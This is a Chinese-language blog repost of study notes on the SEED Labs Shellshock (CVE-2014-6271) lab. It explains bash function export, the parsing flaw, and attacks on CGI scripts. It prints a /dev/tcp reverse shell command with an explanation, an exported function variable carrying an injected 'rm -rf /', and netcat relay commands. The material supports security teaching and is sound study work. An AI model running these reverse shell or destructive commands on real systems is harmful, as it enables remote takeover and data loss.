seed-labs 软件部分-shellshock

2024-06-13 22:18

本文主要是介绍seed-labs 软件部分-shellshock,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

seed-labs 软件部分- shellshock

  • shellshock
    • 背景
    • shellshock 漏洞
      • 定义
      • 漏洞
      • bash源码中的错误
      • shellshock漏洞利用
    • 利用shellshock攻击CGI程序
      • web服务器调用CGI程序
      • 反向shell
    • problems

shellshock

背景

Shell程序是操作系统中的命令行解释器
提供用户和操作系统之间的接口
不同类型的shell:sh、bash、csh、zsh、windows powershell等
bashshell是Linux操作系统中最流行的shell程序之一
shellshock漏洞与shell函数有关。
declare 可以将shell函数打印出来

foo() { echo "hello world"; }
[06/02/21]seed@VM:~/shellshock$ declare -f foo 
foo () 
{ echo "hello world"
}
[06/02/21]seed@VM:~/shellshock$ export -f foo
[06/02/21]seed@VM:~/shellshock$ bash
[06/02/21]seed@VM:~/shellshock$ declare -f foo
foo () 
{ echo "hello world"
}

这两种方法是相似的。它们都使用环境变量。
程序:
在第一种方法中,当父shell创建新进程时,它将每个导出的函数定义作为环境变量传递。
如果子进程运行bash,bash程序将把环境变量转换回函数定义,就像在第二个方法中定义的那样。
第二种方法不要求父进程是shell进程。
任何需要将函数定义传递给子bash进程的进程都可以简单地使用环境变量。

shellshock 漏洞

定义

名为Shellshock或bashdoor的漏洞已于2014年9月24日公开发布。此漏洞被分配为CVE-2014-6271
此漏洞利用了bash在将环境变量转换为函数定义时犯下的错误
自1989年8月5日以来,发现的bug一直存在于gnubash源代码中
在识别出这个bug之后,在广泛使用的bash shell中发现了其他几个bug
Shellshock是指在bash中发现的一系列安全漏洞

漏洞

[06/02/21]seed@VM:~/shellshock$ foo='() { echo "hello world"; }; echo "extra";'
[06/02/21]seed@VM:~/shellshock$ echo $foo
() { echo "hello world"; }; echo "extra";
[06/02/21]seed@VM:~/shellshock$ bash_shellshock  ##echo "extra" 额外的漏洞被执行了。当一个子bash进程被创建时。子shell将会解析为该变量,把它转化为函数定义,所以由于shellshock漏洞,bash 将执行括号后的额外命令
[06/02/21]seed@VM:~/shellshock$ export foo
[06/02/21]seed@VM:~/shellshock$ bash_shellshock                         
[06/02/21]seed@VM:~/shellshock$ echo $foo 

bash源码中的错误

shellshock bug从bash源代码的variables.c文件开始,下面是一部门源码
在这里插入图片描述
在这个代码中,在第行①, bash通过检查环境变量的值是否以“(){”开头来检查是否有导出的函数。一旦找到,bash将用空格替换“=”。
Bash然后调用函数parse和execute()②) 解析函数定义。不幸的是,这个函数可以解析其他shell命令,而不仅仅是函数定义
如果字符串是函数定义,函数将只解析它而不执行它
如果字符串包含shell命令,函数将执行它。

shellshock漏洞利用

在这里插入图片描述
利用shellshock漏洞攻击需要满足2个条件,首先,必须运行bash,其次,攻击者只能通过环境变量把攻击数据传给目标进程,

利用shellshock攻击CGI程序

公共网关接口(CGI)被web服务器用来运行动态生成web页面的可执行程序。
许多CGI程序使用shell脚本,如果使用bash,它们可能会受到shell攻击
其中apache ,c,python都是支持CGI的, 提供的seedlabs环境包含了apache ,所以我们可以直接用

sudo vi /usr/lib/cgi-bin/test.cgi#!/bin/bashecho "Content-type: text/plain"
echo 
echo
echo "Hello World"sudo chmod 755 test.cgi

最后就可以访问

[06/03/21]seed@VM:~/shellshock$ curl http://10.0.2.15/cgi-bin/test.cgiHello World

web服务器调用CGI程序

当用户向apacheweb服务器发送cgiurl时,Apache将检查请求
如果是CGI请求,Apache将使用fork()启动一个新进程,然后使用exec()函数执行CGI程序
因为我们的CGI程序是以“#”/bin/bash”,exec()实际执行/bin/bash,然后运行shell脚本
在这里插入图片描述

反向shell

攻击者现在可以运行他们喜欢的任何命令,并在他们的机器上得到输出。

不用运行/bin/ls,我们可以运行/bin/bash。但是,/bin/bash命令是交互式的。

如果我们只是将/bin/bash放在我们的漏洞中,bash将在服务器端执行,但我们无法控制它。因此,我们需要做一些叫做反向shell的事情。

反向shell的关键思想是将标准的输入、输出和错误设备重定向到网络连接。

通过这种方式,shell从连接获取输入并输出到连接。攻击者现在可以运行他们喜欢的任何命令并在他们的机器上获得输出。

反向shell是许多攻击使用的一种非常常见的黑客技术。
反向shell的关键是重定向标准输入,输出和错误设备到一个网络连接,此后,shell就可以从网络连接那里获得输入,也可以将输出写入这个网络连接,
在攻击者端可以

server(192.168.31.161):$ /bin/bash -i > /dev/tcp/10.0.2.15/9090/ 0<&1 2>$1
/bin/bash -i : -i 意味着使用shell的可交互模式,shell在这个模式下会提供提示符>/dev/tcp/10.0.2.15/9090  shell 的输出设备stdout被重定向到tcp连接,10.0.2.15 9090 端口,文件描述符是1
>0<&1 0 代表输入设备,这是表示,将标准输出设备也作为标准输入设备。重定向至TCP连接,
TCP连接是个双向设备,既可以写,也可往外读2>&1 文件描述符2代表标准错误,这使得错误输出被重定向至stdout 

problems

地址 handsonsecurity.net/files/problems/Shellshock_ex.pdf1.在修复漏洞之前,子进程中将不存在该变量,但会有一个变量名为的函数,函数体将是该变量的值。
修复漏洞后,子shell将具有与父shell相同的变量。2、父shell创建进程时,会将每个导出的函数作为环境变量传递。当子进程运行bash(或者子进程本身是bash)时,它将解析环境变量并将其转换回函数。这是因为子进程获取父环境变量的副本。3、seed@ubuntu:~$ export foo='() { echo Hello World; }; rm -rf /'
seed@ubuntu:~$ bash
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe4、seed@ubuntu:~$ export foo='echo world; () { echo hello;}'
seed@ubuntu:~$ bashseed@ubuntu:~$ foo
foo: command not found
seed@ubuntu:~$ echo $foo
echo world; () { echo hello;}5、	1.目标进程应该运行bash。2.进程必须从外部获取一些环境变量,例如不受信任的用户。6、像Apache这样的web服务器将客户端头信息(如用户代理)作为环境变量传递给它们调用的CGI程序。例如,通过手动设置用户代理字段,我们可以确保在远程计算机上有一个环境变量,该变量的值由我们选择。7、不存在。bash漏洞的存在是因为它在环境变量的值的开头查找字符串“(){”,如果匹配,它会将其视为函数并继续对其进行解析。bash看起来不像函数定义,它将把它当作一个简单的字符串,而不运行命令。8、
nc-L7070将监听端口7070上的传入连接。/bin/cat命令很奇怪 /dev。。。将接受来自远程机器的输入,但将其输出回STDIN,这种情况下是远程机器。
所以在机器1中输入的任何内容都会在屏幕上回响。9、Machine2:
$ nc -l 7070Machine3:
$ nc -l 7070Machine 1:
$ /bin/cat < /dev/tcp/Machine2/7070 > /dev/tcp/Machine3/7070

这篇关于seed-labs 软件部分-shellshock的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1058572

相关文章

软件设计师备考——计算机系统

学习内容源自「软件设计师」 上午题 #1 计算机系统_哔哩哔哩_bilibili 目录 1.1.1 计算机系统硬件基本组成 1.1.2 中央处理单元 1.CPU 的功能 1)运算器 2)控制器 RISC && CISC 流水线控制 存储器  Cache 中断 输入输出IO控制方式 程序查询方式 中断驱动方式 直接存储器方式(DMA)  ​编辑 总线 ​编辑

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

【STM32】SPI通信-软件与硬件读写SPI

SPI通信-软件与硬件读写SPI 软件SPI一、SPI通信协议1、SPI通信2、硬件电路3、移位示意图4、SPI时序基本单元(1)开始通信和结束通信(2)模式0---用的最多(3)模式1(4)模式2(5)模式3 5、SPI时序(1)写使能(2)指定地址写(3)指定地址读 二、W25Q64模块介绍1、W25Q64简介2、硬件电路3、W25Q64框图4、Flash操作注意事项软件SPI读写W2

免费也能高质量!2024年免费录屏软件深度对比评测

我公司因为客户覆盖面广的原因经常会开远程会议,有时候说的内容比较广需要引用多份的数据,我记录起来有一定难度,所以一般都用录屏工具来记录会议内容。这次我们来一起探索有什么免费录屏工具可以提高我们的工作效率吧。 1.福晰录屏大师 链接直达:https://www.foxitsoftware.cn/REC/  录屏软件录屏功能就是本职,这款录屏工具在录屏模式上提供了多种选项,可以选择屏幕录制、窗口

HomeBank:开源免费的个人财务管理软件

在个人财务管理领域,找到一个既免费又开源的解决方案并非易事。HomeBank&nbsp;正是这样一个项目,它不仅提供了强大的功能,还拥有一个活跃的社区,不断推动其发展和完善。 开源免费:HomeBank 是一个完全开源的项目,用户可以自由地使用、修改和分发。用户友好的界面:提供直观的图形用户界面,使得非技术用户也能轻松上手。数据导入支持:支持从 Quicken、Microsoft Money

PDF 软件如何帮助您编辑、转换和保护文件。

如何找到最好的 PDF 编辑器。 无论您是在为您的企业寻找更高效的 PDF 解决方案,还是尝试组织和编辑主文档,PDF 编辑器都可以在一个地方提供您需要的所有工具。市面上有很多 PDF 编辑器 — 在决定哪个最适合您时,请考虑这些因素。 1. 确定您的 PDF 文档软件需求。 不同的 PDF 文档软件程序可以具有不同的功能,因此在决定哪个是最适合您的 PDF 软件之前,请花点时间评估您的

笔记整理—内核!启动!—kernel部分(2)从汇编阶段到start_kernel

kernel起始与ENTRY(stext),和uboot一样,都是从汇编阶段开始的,因为对于kernel而言,还没进行栈的维护,所以无法使用c语言。_HEAD定义了后面代码属于段名为.head .text的段。         内核起始部分代码被解压代码调用,前面关于uboot的文章中有提到过(eg:zImage)。uboot启动是无条件的,只要代码的位置对,上电就工作,kern

梳理2024年,螺丝钉们爱用的3款剪辑软件

这年头,视频到处都是,就跟天上的星星一样数不清。不管你是公司里的新面孔,还是职场上的老狐狸,学会怎么剪视频,就好比找到了赢的秘诀。不管是给上司汇报工作,展示你的产品,还是自己搞点小视频记录生活,只要是剪辑得漂亮,肯定能一下子吸引大家的目光,让人记得你。咱们今天就来侃侃现在超火的三款视频剪辑工具,尤其是PR剪辑,你肯定听说过,这货在剪辑界可是大名鼎鼎,用它剪视频,既专业又麻利。 NO1. 福昕轻松

秒变高手:玩转CentOS 7软件更换的方法大全

在 CentOS 7 中更换软件源可以通过以下步骤完成。更换源可以加快软件包的下载速度,特别是当默认源速度较慢时。以下是详细步骤: 前言 为了帮助您解决在使用CentOS 7安装不了软件速度慢的问题,我们推出了这份由浪浪云赞助的教程——“CentOS7如何更换软件源加快下载速度”。 浪浪云,以他们卓越的弹性计算、云存储和网络服务受到广泛好评,他们的支持和帮助使得我们可以将最前沿的技术知识分

项目实战系列三: 家居购项目 第四部分

购物车 🌳购物车🍆显示购物车🍆更改商品数量🍆清空购物车&&删除商品 🌳生成订单 🌳购物车 需求分析 1.会员登陆后, 可以添加家居到购物车 2.完成购物车的设计和实现 3.每添加一个家居,购物车的数量+1, 并显示 程序框架图 1.新建src/com/zzw/furns/entity/CartItem.java, CartItem-家居项模型 /***